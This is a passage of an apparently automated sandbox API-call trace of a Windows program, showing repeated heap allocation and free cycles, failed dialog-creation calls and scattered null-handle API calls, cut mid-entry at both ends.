hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.654] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.654] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.654] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.654] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.655] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.655] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.655] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.655] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.655] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.655] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.655] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.655] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.655] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.655] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.655] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193841133, cy=27, fuLoad=0x0) returned 0x0 [0026.655] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.656] GetLastError () returned 0x715 [0026.656] SetLastError (dwErrCode=0x715) [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.656] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.656] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.656] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.656] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.656] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.656] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.656] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.657] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.657] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.657] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.657] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.657] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.657] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.658] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.658] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.658] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.658] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.658] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.658] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.658] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.658] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.658] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.658] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.658] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.659] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.659] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.659] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193822188, cy=27, fuLoad=0x0) returned 0x0 [0026.659] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.659] GetLastError () returned 0x715 [0026.659] SetLastError (dwErrCode=0x715) [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.659] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.659] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.659] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.659] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.659] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.660] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.660] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.660] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.660] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.661] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.661] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.661] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.661] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.661] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 